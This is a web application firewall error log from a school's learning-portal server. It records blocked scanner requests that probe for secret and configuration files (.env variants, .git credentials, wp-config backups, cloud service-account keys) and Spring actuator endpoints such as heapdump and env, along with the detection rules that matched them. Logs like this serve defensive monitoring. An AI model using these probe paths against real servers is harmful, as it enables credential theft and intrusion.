[Fri May 08 01:40:25.408670 2026] [:error] [pid 15631:tid 15703] [client 185.254.197.231:52740] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/jolokia"] [unique_id "afzOiXvP1GkPUuuLfqV7FgAAANA"]
[Fri May 08 01:40:25.412318 2026] [:error] [pid 15630:tid 15684] [client 185.254.197.231:52746] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/manage/heapdump"] [unique_id "afzOiXTithRAi4821qvv4wAAAJg"]
[Fri May 08 01:40:25.819995 2026] [:error] [pid 15630:tid 15671] [client 185.254.197.231:52764] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/conf/server.xml"] [unique_id "afzOiXTithRAi4821qvv5QAAAIs"]
[Fri May 08 01:40:26.152586 2026] [:error] [pid 15630:tid 15678] [client 185.254.197.231:52778] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/actuator/liquibase"] [unique_id "afzOinTithRAi4821qvv6QAAAJI"]
[Fri May 08 01:40:28.416615 2026] [:error] [pid 15715:tid 15741] [client 185.254.197.231:52818] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/sendgrid.yml"] [unique_id "afzOjCY4dZsLOttMkcf-hQAAARU"]
[Fri May 08 01:40:28.428444 2026] [:error] [pid 15715:tid 15722] [client 185.254.197.231:52830] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/sendgrid.env"] [unique_id "afzOjCY4dZsLOttMkcf-hwAAAQU"]
[Fri May 08 01:40:29.202266 2026] [:error] [pid 15715:tid 15723] [client 185.254.197.231:52846] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/serviceAccountKey.json"] [unique_id "afzOjSY4dZsLOttMkcf-igAAAQY"]
[Fri May 08 01:40:29.260462 2026] [:error] [pid 15715:tid 15731] [client 185.254.197.231:52862] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/docker-compose.dev.yml"] [unique_id "afzOjSY4dZsLOttMkcf-iwAAAQs"]
[Fri May 08 01:40:29.877319 2026] [:error] [pid 15715:tid 15743] [client 185.254.197.231:54526] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/api/actuator/env"] [unique_id "afzOjSY4dZsLOttMkcf-jgAAARc"]
[Fri May 08 01:40:29.880511 2026] [:error] [pid 15715:tid 15739] [client 185.254.197.231:54542] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/actuator/jolokia"] [unique_id "afzOjSY4dZsLOttMkcf-jwAAARM"]
[Fri May 08 01:40:29.880935 2026] [:error] [pid 15715:tid 15735] [client 185.254.197.231:54510] [client 185.254.197.231] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-config.php.bak"] [unique_id "afzOjSY4dZsLOttMkcf-kAAAAQ8"]
[Fri May 08 01:40:29.897532 2026] [:error] [pid 15715:tid 15725] [client 185.254.197.231:54548] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/management/heapdump"] [unique_id "afzOjSY4dZsLOttMkcf-kQAAAQg"]
[Fri May 08 01:40:30.468034 2026] [:error] [pid 15715:tid 15742] [client 185.254.197.231:54562] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/WEB-INF/web.xml"] [unique_id "afzOjiY4dZsLOttMkcf-kwAAARY"]
[Fri May 08 01:40:30.732986 2026] [:error] [pid 15715:tid 15720] [client 185.254.197.231:54612] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/actuator/mappings"] [unique_id "afzOjiY4dZsLOttMkcf-lAAAAQM"]
[Fri May 08 01:40:32.587957 2026] [:error] [pid 12374:tid 12393] [client 185.254.197.231:54628] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/sendgrid.yml"] [unique_id "afzOkBo3QnNcFDMfKt2HYAAAAY8"]
[Fri May 08 01:40:32.603797 2026] [:error] [pid 15715:tid 15726] [client 185.254.197.231:54642] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/sendgrid.env"] [unique_id "afzOkCY4dZsLOttMkcf-nAAAAQk"]
[Fri May 08 01:40:36.422726 2026] [:error] [pid 15715:tid 15739] [client 185.254.197.231:54654] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/serviceAccountKey.json"] [unique_id "afzOlCY4dZsLOttMkcf-nwAAARM"]
[Fri May 08 01:40:36.486948 2026] [:error] [pid 15715:tid 15718] [client 185.254.197.231:54664] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/docker-compose.dev.yml"] [unique_id "afzOlCY4dZsLOttMkcf-oQAAAQE"]
[Fri May 08 01:40:36.490131 2026] [:error] [pid 15715:tid 15725] [client 185.254.197.231:54676] [client 185.254.197.231] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-config.php.old"] [unique_id "afzOlCY4dZsLOttMkcf-ogAAAQg"]
[Fri May 08 10:14:29.975576 2026] [:error] [pid 61356:tid 61404] [client 34.180.118.167:46020] [client 34.180.118.167] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config"] [unique_id "af1HBYx3vpB8oWhUq2PO4wAAAdA"]
[Sat May 09 22:14:07.335920 2026] [:error] [pid 55191:tid 55293] [client 91.218.51.85:59360] [client 91.218.51.85] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.production"] [unique_id "af9BL_Mcqx1kfQsw7c4TPwAAAJA"]
[Sat May 09 22:14:10.490590 2026] [:error] [pid 55182:tid 55230] [client 91.218.51.85:59430] [client 91.218.51.85] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.dev"] [unique_id "af9BMjaxmP-S8ASrqQnhDQAAANI"]
[Sat May 09 22:14:12.858185 2026] [:error] [pid 55191:tid 55280] [client 91.218.51.85:59348] [client 91.218.51.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/actuator/liquibase"] [unique_id "af9BNPMcqx1kfQsw7c4TSAAAAIM"]
[Sat May 09 22:14:14.000726 2026] [:error] [pid 55353:tid 55359] [client 91.218.51.85:11518] [client 91.218.51.85] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.staging"] [unique_id "af9BNSDuyNO3XosoIYRaAwAAAQQ"]
[Sat May 09 22:14:14.130439 2026] [:error] [pid 55353:tid 55374] [client 91.218.51.85:42346] [client 91.218.51.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/google-credentials.json"] [unique_id "af9BNiDuyNO3XosoIYRaBAAAARM"]
[Sat May 09 22:14:14.141094 2026] [:error] [pid 55191:tid 55278] [client 91.218.51.85:59376] [client 91.218.51.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/actuator/liquibase"] [unique_id "af9BNvMcqx1kfQsw7c4TSgAAAIE"]
[Sat May 09 22:14:14.744310 2026] [:error] [pid 55191:tid 55296] [client 91.218.51.85:59370] [client 91.218.51.85] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.test"] [unique_id "af9BNvMcqx1kfQsw7c4TTAAAAJM"]
[Sat May 09 22:14:17.688248 2026] [:error] [pid 55182:tid 55221] [client 91.218.51.85:11568] [client 91.218.51.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/docker-compose.production.yml"] [unique_id "af9BOTaxmP-S8ASrqQnhFwAAAMk"]
[Sat May 09 22:14:17.692598 2026] [:error] [pid 55191:tid 55292] [client 91.218.51.85:11576] [client 91.218.51.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/sendgrid.yaml"] [unique_id "af9BOfMcqx1kfQsw7c4TUgAAAI8"]
[Sat May 09 22:14:17.693608 2026] [:error] [pid 55191:tid 55287] [client 91.218.51.85:11592] [client 91.218.51.85] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/credentials"] [unique_id "af9BOfMcqx1kfQsw7c4TUwAAAIo"]
[Sat May 09 22:14:18.235626 2026] [:error] [pid 55186:tid 55248] [client 91.218.51.85:11610] [client 91.218.51.85] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.example"] [unique_id "af9BOpPIspqZdXg7QQu2SAAAAEA"]
[Sat May 09 22:14:18.235750 2026] [:error] [pid 55191:tid 55288] [client 91.218.51.85:11596] [client 91.218.51.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/google-credentials.json"] [unique_id "af9BOvMcqx1kfQsw7c4TVwAAAIs"]
[Sat May 09 22:14:18.236656 2026] [:error] [pid 55191:tid 55289] [client 91.218.51.85:11600] [client 91.218.51.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/actuator/mappings"] [unique_id "af9BOvMcqx1kfQsw7c4TWAAAAIw"]
[Sat May 09 22:14:19.411994 2026] [:error] [pid 55191:tid 55284] [client 91.218.51.85:11622] [client 91.218.51.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.boto"] [unique_id "af9BO_Mcqx1kfQsw7c4TWwAAAIc"]
[Sat May 09 22:14:20.886279 2026] [:error] [pid 55191:tid 55290] [client 91.218.51.85:11690] [client 91.218.51.85] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.backup"] [unique_id "af9BPPMcqx1kfQsw7c4TXwAAAI0"]
[Sat May 09 22:14:20.886339 2026] [:error] [pid 55186:tid 55259] [client 91.218.51.85:11686] [client 91.218.51.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/sendgrid.yaml"] [unique_id "af9BPJPIspqZdXg7QQu2TgAAAEo"]
[Sat May 09 22:14:20.888322 2026] [:error] [pid 55191:tid 55279] [client 91.218.51.85:11674] [client 91.218.51.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/docker-compose.production.yml"] [unique_id "af9BPPMcqx1kfQsw7c4TYAAAAII"]
[Sat May 09 22:14:21.145207 2026] [:error] [pid 55353:tid 55364] [client 91.218.51.85:11694] [client 91.218.51.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/configprops"] [unique_id "af9BPSDuyNO3XosoIYRaCwAAAQk"]
[Sat May 09 22:14:21.145304 2026] [:error] [pid 55353:tid 55372] [client 91.218.51.85:11716] [client 91.218.51.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/manage/heapdump"] [unique_id "af9BPSDuyNO3XosoIYRaDAAAARE"]
[Sat May 09 22:14:21.318391 2026] [:error] [pid 55353:tid 55377] [client 91.218.51.85:11700] [client 91.218.51.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/jolokia"] [unique_id "af9BPSDuyNO3XosoIYRaDgAAARY"]
[Sat May 09 22:14:21.318588 2026] [:error] [pid 55353:tid 55375] [client 91.218.51.85:11698] [client 91.218.51.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/config/database.yml"] [unique_id "af9BPSDuyNO3XosoIYRaDwAAARQ"]
[Sat May 09 22:14:21.556650 2026] [:error] [pid 55353:tid 55367] [client 91.218.51.85:11746] [client 91.218.51.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/actuator/mappings"] [unique_id "af9BPSDuyNO3XosoIYRaEAAAAQw"]
[Sat May 09 22:14:21.558147 2026] [:error] [pid 55353:tid 55379] [client 91.218.51.85:11736] [client 91.218.51.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/firebase-adminsdk.json"] [unique_id "af9BPSDuyNO3XosoIYRaEgAAARg"]
[Sat May 09 22:14:22.909963 2026] [:error] [pid 55353:tid 55374] [client 91.218.51.85:11762] [client 91.218.51.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.boto"] [unique_id "af9BPiDuyNO3XosoIYRaGAAAARM"]
[Sat May 09 22:14:23.951070 2026] [:error] [pid 55186:tid 55255] [client 91.218.51.85:20534] [client 91.218.51.85] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.old"] [unique_id "af9BP5PIspqZdXg7QQu2UAAAAEY"]
[Sat May 09 22:14:24.346055 2026] [:error] [pid 55353:tid 55358] [client 91.218.51.85:20540] [client 91.218.51.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/sendgrid.yml"] [unique_id "af9BQCDuyNO3XosoIYRaHgAAAQM"]
[Sat May 09 22:14:24.346980 2026] [:error] [pid 55353:tid 55370] [client 91.218.51.85:20542] [client 91.218.51.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/docker-compose.dev.yml"] [unique_id "af9BQCDuyNO3XosoIYRaHwAAAQ8"]
[Sat May 09 22:14:24.527761 2026] [:error] [pid 55353:tid 55360] [client 91.218.51.85:20550] [client 91.218.51.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/configprops"] [unique_id "af9BQCDuyNO3XosoIYRaIAAAAQU"]
[Sat May 09 22:14:24.528970 2026] [:error] [pid 55353:tid 55363] [client 91.218.51.85:20560] [client 91.218.51.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/manage/heapdump"] [unique_id "af9BQCDuyNO3XosoIYRaIQAAAQg"]
[Sat May 09 22:14:24.701108 2026] [:error] [pid 55191:tid 55298] [client 91.218.51.85:20584] [client 91.218.51.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/config/database.yml"] [unique_id "af9BQPMcqx1kfQsw7c4TbAAAAJU"]
[Sat May 09 22:14:24.704665 2026] [:error] [pid 55353:tid 55364] [client 91.218.51.85:20570] [client 91.218.51.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/jolokia"] [unique_id "af9BQCDuyNO3XosoIYRaIgAAAQk"]
[Sat May 09 22:14:24.752694 2026] [:error] [pid 55353:tid 55377] [client 91.218.51.85:20586] [client 91.218.51.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/actuator/beans"] [unique_id "af9BQCDuyNO3XosoIYRaIwAAARY"]
[Sat May 09 22:14:24.752694 2026] [:error] [pid 55186:tid 55253] [client 91.218.51.85:20624] [client 91.218.51.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/firebase-adminsdk.json"] [unique_id "af9BQJPIspqZdXg7QQu2UwAAAEQ"]
[Sat May 09 22:14:26.837815 2026] [:error] [pid 55186:tid 55270] [client 91.218.51.85:20698] [client 91.218.51.85] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.bak"] [unique_id "af9BQpPIspqZdXg7QQu2WAAAAFU"]
[Sat May 09 22:14:27.332322 2026] [:error] [pid 55353:tid 55371] [client 91.218.51.85:20722] [client 91.218.51.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/docker-compose.dev.yml"] [unique_id "af9BQyDuyNO3XosoIYRaKwAAARA"]
